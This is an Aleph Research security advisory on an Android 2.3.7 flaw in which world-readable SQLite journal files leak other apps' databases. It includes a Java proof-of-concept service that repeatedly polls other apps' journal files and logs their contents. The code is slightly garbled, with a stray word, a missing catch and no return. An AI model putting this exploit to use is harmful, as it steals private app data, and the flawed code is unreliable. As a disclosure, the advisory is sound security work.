<--

Android SQLite Journal Information Disclosure

Aleph Research Advisory

Identifier

Severity

High

Product

Android 2.3.7

Mitigation

Install Android 4.0.1

Technical Details

The journal file of SQLite databases can be read by all applications:

  • The application’s data directory has execution rights for all users, up to the root. This means that files with read or write permissions for all users, found under the application’s data directory are actually globally accessible.
  • The /data/data//databases directory is created with [rwxrwx--x] permissions, meaning that files under that dir with global read or write permissions, are globally readable or writable.
  • The journal file is created under the databases directory with [-rw-r–r–] permissions and therefore it can be read by all apps.

Conclusion: All databases maintained by Android’s SQLite engine (unless named with a random and unguess- able string) can be leaked by malicious applications without the need to declare adequate privileges. The databases can be leaked during the lifetime of the journal file, (i.e. when the transaction is made).

Proof-of-Concept

public class SqlliteJournalLeakActivity extends Activity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        final Intent intent = new Intent(this, com.ibm.android.sqllitejournal.SqlliteJournalLeakService.class);
        final PendingIntent pending = PendingIntent.getService(this, 0, intent, 0);
        final AlarmManager alarm = (AlarmManager) this.getSystemService(Context.ALARM_SERVICE);
        alarm.cancel(pending);
        long interval = 30;
        alarm.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(),interval, pending);
    }
}
public class SqlliteJournalLeakService extends Service {
    private final String[] DATABASES = {
        [... see paper ...]
    };
    
    private final IBinder mBinder = new SqlliteJournalLeakServiceBinder();
    private HashMap<String, Long> mLastChanges = new HashMap<String, Long>();
    private FileOutputStream mLog;
   
    @Override
    public void onCreate() {
        try {quick
        mLog = openFileOutput("leak.log", MODE_APPEND);
        } catch (FileNotFoundException e) {}
    }
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId)
    {
        trackChanges();
        return START_STICKY;
    }
    
    private void trackChanges()
    {
        for (String name : DATABASES)
        {
            name = "/data/data" + name + "-journal";
            File f = new File(name);
            if (!f.exists())
            {
                continue;
            }
            if (!mLastChanges.containsKey(name))
            {
                mLastChanges.put(name, f.lastModified());
                handleChange(f);
            }
            long m = f.lastModified();
            if (mLastChanges.get(name) >= m)
                continue;
            mLastChanges.put(name, m);
            handleChange(f);
        }
    }
    private void handleChange(File file)
    {
        log(file.getAbsolutePath(), getPrintable(file));
    }
    private void log(String pkg, String data)
    {
        String line = pkg + ":\n\n" + data + "\n================================\n";
        try
        {
            mLog.write(line.getBytes());
            mLog.flush();
        }
        catch (IOException e) {}
    }
  
    private static String getPrintable(File journal)
    {
        String printable = "";
        int len = 0;
        FileReader fr;
 
        try {
            fr = new FileReader(journal);
            char[] buffer = new char[1024];
            while (-1 != (len = fr.read(buffer)))
            {
                for (int i = 0 ; i < len ; i++)
                {
                if (filter(buffer[i]))
                    printable += buffer[i];
                }
            }
        }
    }
    private static boolean filter(char ch)
    {
        switch (ch)
        {
            case '\n':
            case '\r':
            case '\t':
                return true;
        }
        if ((ch >= 0x20) && (ch <= 0x80))
            return true;
        return false;
    }
    public class SqlliteJournalLeakServiceBinder extends Binder {
        SqlliteJournalLeakService getService() {
            return SqlliteJournalLeakService.this;
        }
    }
    @Override
    public IBinder onBind(Intent intent) {
        return mBinder;
    }
}

Timeline

Credit

External References